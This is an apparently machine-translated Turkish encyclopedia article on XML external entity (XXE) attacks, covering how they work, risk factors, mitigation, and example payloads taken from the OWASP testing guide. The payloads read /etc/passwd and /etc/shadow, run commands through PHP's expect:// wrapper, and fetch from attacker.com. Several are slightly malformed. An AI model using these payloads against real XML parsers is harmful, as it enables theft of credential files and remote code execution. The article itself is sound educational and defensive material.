XML harici varlık saldırısı - XML external entity attack

Bir XML Harici Varlığı saldırı, ayrıştıran bir uygulamaya yönelik bir saldırı türüdür XML giriş. Bu saldırı, harici bir varlığa başvuru içeren XML girdisi, zayıf yapılandırılmış bir XML ayrıştırıcısı tarafından işlendiğinde meydana gelir. Bu saldırı, gizli verilerin ifşasına, hizmet reddine, sunucu tarafında talep sahteciliğine, ayrıştırıcının bulunduğu makinenin perspektifinden bağlantı noktası taramasına ve diğer sistem etkilerine yol açabilir.[1]

Açıklama

XML 1.0 standardı, bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan varlık adı verilen bir kavramı tanımlar. Birkaç farklı varlık türü vardır, harici genel / parametre ayrıştırılmış varlık genellikle harici bir varlığa kısaltılır, yerel veya uzak içeriğe bildirilmiş bir sistem tanımlayıcı. Sistem tanımlayıcısının, varlık işlenirken XML işlemci tarafından referans alınabilen (erişilebilen) bir URI olduğu varsayılır. XML işlemci daha sonra adlandırılmış harici varlığın oluşumlarını sistem tanımlayıcısı tarafından başvurulan içerikle değiştirir. Sistem tanımlayıcısı bozuk veriler içeriyorsa ve XML işlemci bu bozuk veriye başvuruda bulunuyorsa, XML işlemci normalde uygulama tarafından erişilemeyen gizli bilgileri ifşa edebilir. Benzer saldırı vektörleri, harici DTD'ler, harici stil sayfaları, harici şemalar vb. dahil edildiğinde, benzer harici kaynak dahil etme tarzı saldırılara izin veren.

Saldırılar, sistem tanımlayıcısındaki dosya: şemaları veya göreli yolları kullanarak parolalar veya özel kullanıcı verileri gibi hassas verileri içerebilecek yerel dosyaların ifşa edilmesini içerebilir. Saldırı, XML belgesini işleyen uygulamaya göre gerçekleştiğinden, saldırgan bu güvenilir uygulamayı diğer dahili sistemlere dönmek için kullanabilir ve muhtemelen http (s) istekleri yoluyla diğer dahili içeriği ifşa edebilir veya bir CSRF korumasız dahili hizmetlere saldırı. Bazı durumlarda, istemci tarafı bellek bozulması sorunlarına karşı savunmasız olan bir XML işlemci kitaplığı, kötü amaçlı bir URI, muhtemelen uygulama hesabı altında rastgele kod yürütülmesine izin verir. Diğer saldırılar, veri döndürmeyi durdurmayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem serbest bırakılmazsa uygulama kullanılabilirliğini etkileyebilir.

Uygulamanın, bilginin açığa çıkmasına karşı savunmasız olması için saldırgana cevabı açık bir şekilde döndürmesi gerekmediğini unutmayın. Bir saldırgan, verileri alt alan adları aracılığıyla kendi denetimi altındaki bir DNS sunucusuna sızdırmak için DNS bilgilerinden yararlanabilir.

Risk faktörleri

  • Uygulama XML belgelerini ayrıştırır.
  • Bozuk verilere, belge türü tanımı (DTD) dahilinde, varlığın sistem tanımlayıcı bölümünde izin verilir.
  • XML işlemci, DTD'yi doğrulamak ve işlemek için yapılandırılmıştır.
  • XML işlemci, DTD içindeki harici varlıkları çözmek için yapılandırılmıştır.

Örnekler

Aşağıdaki örnekler XML Enjeksiyonu Testi (OWASP-DV-008).[2]

Geri dönmeyebilecek yerel bir kaynağa erişim

 <?xml version="1.0" encoding="ISO-8859-1"?>     <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>& xxe;</foo>

Uzaktan kod yürütme

Ne zaman PHP "beklemek" modülü yüklendi, uzaktan kod yürütme değiştirilmiş bir yük ile mümkün olabilir.

 <?xml version="1.0" encoding="ISO-8859-1"?>  <!DOCTYPE foo [ <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "expect://id" >]>     <creds>        <user>& xxe;</user>        <pass>baypas</pass>     </creds>

/ Etc / passwd veya diğer hedeflenen dosyaları ifşa etme

  <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>& xxe;</foo>

Azaltma

XML belgesinin tamamı güvenilmeyen bir istemciden iletildiği için, genellikle seçici olarak mümkün değildir. doğrulamak veya DTD'deki sistem tanımlayıcısı içindeki bozuk verilerden kaçının. Bu nedenle, XML işlemci, yerel bir statik DTD kullanacak ve XML belgesine dahil edilen herhangi bir bildirilmiş DTD'ye izin vermeyecek şekilde yapılandırılmalıdır.

Ayrıca bakınız

Referanslar

  1. ^ "XML Harici Varlık (XXE) Saldırıları Nedir?". Acunetix.
  2. ^ https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v3.pdf

Dış bağlantılar